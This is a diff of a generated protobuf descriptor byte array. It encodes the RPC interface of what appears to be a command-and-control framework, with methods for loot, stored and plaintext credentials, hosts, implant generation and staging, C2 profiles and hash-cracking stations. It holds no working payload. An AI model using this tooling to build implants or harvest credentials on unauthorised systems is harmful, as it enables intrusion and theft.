- 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x73, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e,
- 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x31, 0x0a, 0x07, 0x43, 0x72, 0x65, 0x64,
- 0x73, 0x52, 0x6d, 0x12, 0x15, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43,
+ 0x12, 0x2c, 0x0a, 0x0a, 0x4c, 0x6f, 0x6f, 0x74, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x12, 0x0e,
+ 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4c, 0x6f, 0x6f, 0x74, 0x1a, 0x0e,
+ 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4c, 0x6f, 0x6f, 0x74, 0x12, 0x2d,
+ 0x0a, 0x0b, 0x4c, 0x6f, 0x6f, 0x74, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x12, 0x0e, 0x2e,
+ 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4c, 0x6f, 0x6f, 0x74, 0x1a, 0x0e, 0x2e,
+ 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4c, 0x6f, 0x6f, 0x74, 0x12, 0x2d, 0x0a,
+ 0x07, 0x4c, 0x6f, 0x6f, 0x74, 0x41, 0x6c, 0x6c, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f,
+ 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65,
+ 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x41, 0x6c, 0x6c, 0x4c, 0x6f, 0x6f, 0x74, 0x12, 0x2f, 0x0a, 0x05,
+ 0x43, 0x72, 0x65, 0x64, 0x73, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62,
+ 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x15, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70,
+ 0x62, 0x2e, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x73, 0x12, 0x32, 0x0a,
+ 0x08, 0x43, 0x72, 0x65, 0x64, 0x73, 0x41, 0x64, 0x64, 0x12, 0x15, 0x2e, 0x63, 0x6c, 0x69, 0x65,
+ 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x73,
+ 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74,
+ 0x79, 0x12, 0x31, 0x0a, 0x07, 0x43, 0x72, 0x65, 0x64, 0x73, 0x52, 0x6d, 0x12, 0x15, 0x2e, 0x63,
+ 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69,
+ 0x61, 0x6c, 0x73, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45,
+ 0x6d, 0x70, 0x74, 0x79, 0x12, 0x35, 0x0a, 0x0b, 0x43, 0x72, 0x65, 0x64, 0x73, 0x55, 0x70, 0x64,
+ 0x61, 0x74, 0x65, 0x12, 0x15, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43,
0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x73, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d,
- 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x35, 0x0a, 0x0b, 0x43,
- 0x72, 0x65, 0x64, 0x73, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x12, 0x15, 0x2e, 0x63, 0x6c, 0x69,
+ 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x39, 0x0a, 0x0b, 0x47,
+ 0x65, 0x74, 0x43, 0x72, 0x65, 0x64, 0x42, 0x79, 0x49, 0x44, 0x12, 0x14, 0x2e, 0x63, 0x6c, 0x69,
0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c,
- 0x73, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70,
- 0x74, 0x79, 0x12, 0x39, 0x0a, 0x0b, 0x47, 0x65, 0x74, 0x43, 0x72, 0x65, 0x64, 0x42, 0x79, 0x49,
- 0x44, 0x12, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x65,
- 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x1a, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74,
- 0x70, 0x62, 0x2e, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x12, 0x41, 0x0a,
- 0x12, 0x47, 0x65, 0x74, 0x43, 0x72, 0x65, 0x64, 0x73, 0x42, 0x79, 0x48, 0x61, 0x73, 0x68, 0x54,
- 0x79, 0x70, 0x65, 0x12, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43,
- 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x1a, 0x15, 0x2e, 0x63, 0x6c, 0x69, 0x65,
- 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x73,
- 0x12, 0x4a, 0x0a, 0x1b, 0x47, 0x65, 0x74, 0x50, 0x6c, 0x61, 0x69, 0x6e, 0x74, 0x65, 0x78, 0x74,
- 0x43, 0x72, 0x65, 0x64, 0x73, 0x42, 0x79, 0x48, 0x61, 0x73, 0x68, 0x54, 0x79, 0x70, 0x65, 0x12,
- 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x65, 0x64, 0x65,
- 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x1a, 0x15, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62,
- 0x2e, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x73, 0x12, 0x40, 0x0a, 0x12,
- 0x43, 0x72, 0x65, 0x64, 0x73, 0x53, 0x6e, 0x69, 0x66, 0x66, 0x48, 0x61, 0x73, 0x68, 0x54, 0x79,
- 0x70, 0x65, 0x12, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72,
- 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x1a, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e,
- 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x12, 0x2c,
- 0x0a, 0x05, 0x48, 0x6f, 0x73, 0x74, 0x73, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e,
- 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e,
- 0x74, 0x70, 0x62, 0x2e, 0x41, 0x6c, 0x6c, 0x48, 0x6f, 0x73, 0x74, 0x73, 0x12, 0x26, 0x0a, 0x04,
- 0x48, 0x6f, 0x73, 0x74, 0x12, 0x0e, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e,
- 0x48, 0x6f, 0x73, 0x74, 0x1a, 0x0e, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e,
- 0x48, 0x6f, 0x73, 0x74, 0x12, 0x29, 0x0a, 0x06, 0x48, 0x6f, 0x73, 0x74, 0x52, 0x6d, 0x12, 0x0e,
- 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x6f, 0x73, 0x74, 0x1a, 0x0f,
+ 0x1a, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x65, 0x64,
+ 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x12, 0x41, 0x0a, 0x12, 0x47, 0x65, 0x74, 0x43, 0x72, 0x65,
+ 0x64, 0x73, 0x42, 0x79, 0x48, 0x61, 0x73, 0x68, 0x54, 0x79, 0x70, 0x65, 0x12, 0x14, 0x2e, 0x63,
+ 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69,
+ 0x61, 0x6c, 0x1a, 0x15, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72,
+ 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x73, 0x12, 0x4a, 0x0a, 0x1b, 0x47, 0x65, 0x74,
+ 0x50, 0x6c, 0x61, 0x69, 0x6e, 0x74, 0x65, 0x78, 0x74, 0x43, 0x72, 0x65, 0x64, 0x73, 0x42, 0x79,
+ 0x48, 0x61, 0x73, 0x68, 0x54, 0x79, 0x70, 0x65, 0x12, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e,
+ 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x1a, 0x15,
+ 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e,
+ 0x74, 0x69, 0x61, 0x6c, 0x73, 0x12, 0x40, 0x0a, 0x12, 0x43, 0x72, 0x65, 0x64, 0x73, 0x53, 0x6e,
+ 0x69, 0x66, 0x66, 0x48, 0x61, 0x73, 0x68, 0x54, 0x79, 0x70, 0x65, 0x12, 0x14, 0x2e, 0x63, 0x6c,
+ 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61,
+ 0x6c, 0x1a, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x65,
+ 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x12, 0x2c, 0x0a, 0x05, 0x48, 0x6f, 0x73, 0x74, 0x73,
+ 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74,
+ 0x79, 0x1a, 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x41, 0x6c, 0x6c,
+ 0x48, 0x6f, 0x73, 0x74, 0x73, 0x12, 0x26, 0x0a, 0x04, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x0e, 0x2e,
+ 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x6f, 0x73, 0x74, 0x1a, 0x0e, 0x2e,
+ 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x29, 0x0a,
+ 0x06, 0x48, 0x6f, 0x73, 0x74, 0x52, 0x6d, 0x12, 0x0e, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74,
+ 0x70, 0x62, 0x2e, 0x48, 0x6f, 0x73, 0x74, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e,
+ 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x2b, 0x0a, 0x09, 0x48, 0x6f, 0x73, 0x74,
+ 0x49, 0x4f, 0x43, 0x52, 0x6d, 0x12, 0x0d, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62,
+ 0x2e, 0x49, 0x4f, 0x43, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e,
+ 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x35, 0x0a, 0x08, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74,
+ 0x65, 0x12, 0x15, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x47, 0x65, 0x6e,
+ 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e,
+ 0x74, 0x70, 0x62, 0x2e, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x12, 0x52, 0x0a, 0x10,
+ 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x45, 0x78, 0x74, 0x65, 0x72, 0x6e, 0x61, 0x6c,
+ 0x12, 0x1d, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x45, 0x78, 0x74, 0x65,
+ 0x72, 0x6e, 0x61, 0x6c, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x1a,
+ 0x1f, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x45, 0x78, 0x74, 0x65, 0x72,
+ 0x6e, 0x61, 0x6c, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67,
+ 0x12, 0x4d, 0x0a, 0x19, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x45, 0x78, 0x74, 0x65,
+ 0x72, 0x6e, 0x61, 0x6c, 0x53, 0x61, 0x76, 0x65, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x12, 0x1f, 0x2e,
+ 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x45, 0x78, 0x74, 0x65, 0x72, 0x6e, 0x61,
+ 0x6c, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x42, 0x69, 0x6e, 0x61, 0x72, 0x79, 0x1a, 0x0f,
0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12,
- 0x2b, 0x0a, 0x09, 0x48, 0x6f, 0x73, 0x74, 0x49, 0x4f, 0x43, 0x52, 0x6d, 0x12, 0x0d, 0x2e, 0x63,
- 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x4f, 0x43, 0x1a, 0x0f, 0x2e, 0x63, 0x6f,
- 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x35, 0x0a, 0x08,
- 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x12, 0x15, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e,
- 0x74, 0x70, 0x62, 0x2e, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x1a,
- 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x47, 0x65, 0x6e, 0x65, 0x72,
- 0x61, 0x74, 0x65, 0x12, 0x52, 0x0a, 0x10, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x45,
- 0x78, 0x74, 0x65, 0x72, 0x6e, 0x61, 0x6c, 0x12, 0x1d, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74,
- 0x70, 0x62, 0x2e, 0x45, 0x78, 0x74, 0x65, 0x72, 0x6e, 0x61, 0x6c, 0x47, 0x65, 0x6e, 0x65, 0x72,
- 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x1f, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70,
- 0x62, 0x2e, 0x45, 0x78, 0x74, 0x65, 0x72, 0x6e, 0x61, 0x6c, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e,
- 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x4d, 0x0a, 0x19, 0x47, 0x65, 0x6e, 0x65, 0x72,
- 0x61, 0x74, 0x65, 0x45, 0x78, 0x74, 0x65, 0x72, 0x6e, 0x61, 0x6c, 0x53, 0x61, 0x76, 0x65, 0x42,
- 0x75, 0x69, 0x6c, 0x64, 0x12, 0x1f, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e,
- 0x45, 0x78, 0x74, 0x65, 0x72, 0x6e, 0x61, 0x6c, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x42,
- 0x69, 0x6e, 0x61, 0x72, 0x79, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62,
- 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x59, 0x0a, 0x1e, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61,
- 0x74, 0x65, 0x45, 0x78, 0x74, 0x65, 0x72, 0x6e, 0x61, 0x6c, 0x47, 0x65, 0x74, 0x42, 0x75, 0x69,
- 0x6c, 0x64, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e,
- 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x42, 0x75, 0x69, 0x6c, 0x64,
- 0x1a, 0x1f, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x45, 0x78, 0x74, 0x65,
- 0x72, 0x6e, 0x61, 0x6c, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69,
- 0x67, 0x12, 0x3f, 0x0a, 0x0d, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x53, 0x74, 0x61,
- 0x67, 0x65, 0x12, 0x1a, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x47, 0x65,
- 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x53, 0x74, 0x61, 0x67, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x12,
- 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61,
- 0x74, 0x65, 0x12, 0x3f, 0x0a, 0x11, 0x53, 0x74, 0x61, 0x67, 0x65, 0x49, 0x6d, 0x70, 0x6c, 0x61,
- 0x6e, 0x74, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x12, 0x19, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74,
- 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x53, 0x74, 0x61, 0x67, 0x65, 0x52,
- 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d,
- 0x70, 0x74, 0x79, 0x12, 0x3d, 0x0a, 0x11, 0x47, 0x65, 0x74, 0x48, 0x54, 0x54, 0x50, 0x43, 0x32,
- 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x73, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f,
- 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65,
- 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x54, 0x54, 0x50, 0x43, 0x32, 0x43, 0x6f, 0x6e, 0x66, 0x69,
- 0x67, 0x73, 0x12, 0x48, 0x0a, 0x16, 0x47, 0x65, 0x74, 0x48, 0x54, 0x54, 0x50, 0x43, 0x32, 0x50,
- 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x42, 0x79, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x16, 0x2e, 0x63,
- 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x32, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c,
- 0x65, 0x52, 0x65, 0x71, 0x1a, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e,
- 0x48, 0x54, 0x54, 0x50, 0x43, 0x32, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x3f, 0x0a, 0x11,
- 0x53, 0x61, 0x76, 0x65, 0x48, 0x54, 0x54, 0x50, 0x43, 0x32, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c,
- 0x65, 0x12, 0x19, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x54, 0x54,
- 0x50, 0x43, 0x32, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x52, 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x63,
- 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x37, 0x0a,
- 0x0f, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x65, 0x72, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x65, 0x72,
- 0x12, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x75, 0x69, 0x6c,
- 0x64, 0x65, 0x72, 0x1a, 0x0f, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x45,
- 0x76, 0x65, 0x6e, 0x74, 0x30, 0x01, 0x12, 0x32, 0x0a, 0x0e, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x65,
- 0x72, 0x54, 0x72, 0x69, 0x67, 0x67, 0x65, 0x72, 0x12, 0x0f, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e,
- 0x74, 0x70, 0x62, 0x2e, 0x45, 0x76, 0x65, 0x6e, 0x74, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d,
- 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x2f, 0x0a, 0x08, 0x42, 0x75,
- 0x69, 0x6c, 0x64, 0x65, 0x72, 0x73, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70,
- 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74,
- 0x70, 0x62, 0x2e, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x65, 0x72, 0x73, 0x12, 0x41, 0x0a, 0x14, 0x43,
- 0x72, 0x61, 0x63, 0x6b, 0x73, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x67, 0x69, 0x73,
- 0x74, 0x65, 0x72, 0x12, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43,
- 0x72, 0x61, 0x63, 0x6b, 0x73, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x1a, 0x0f, 0x2e, 0x63, 0x6c,
- 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x45, 0x76, 0x65, 0x6e, 0x74, 0x30, 0x01, 0x12, 0x37,
- 0x0a, 0x13, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x73, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x54, 0x72,
- 0x69, 0x67, 0x67, 0x65, 0x72, 0x12, 0x0f, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62,
- 0x2e, 0x45, 0x76, 0x65, 0x6e, 0x74, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70,
- 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x42, 0x0a, 0x15, 0x43, 0x72, 0x61, 0x63, 0x6b,
- 0x73, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b,
- 0x12, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63,
- 0x6b, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d,
- 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x39, 0x0a, 0x0d, 0x43,
- 0x72, 0x61, 0x63, 0x6b, 0x73, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x0f, 0x2e, 0x63,
- 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x17, 0x2e,
- 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x73, 0x74,
- 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x39, 0x0a, 0x0d, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x54,
- 0x61, 0x73, 0x6b, 0x42, 0x79, 0x49, 0x44, 0x12, 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74,
- 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x54, 0x61, 0x73, 0x6b, 0x1a, 0x13, 0x2e, 0x63,
- 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x54, 0x61, 0x73,
- 0x6b, 0x12, 0x37, 0x0a, 0x0f, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x54, 0x61, 0x73, 0x6b, 0x55, 0x70,
- 0x64, 0x61, 0x74, 0x65, 0x12, 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e,
- 0x43, 0x72, 0x61, 0x63, 0x6b, 0x54, 0x61, 0x73, 0x6b, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d,
- 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x3b, 0x0a, 0x0e, 0x43, 0x72,
- 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x4c, 0x69, 0x73, 0x74, 0x12, 0x13, 0x2e, 0x63,
- 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c,
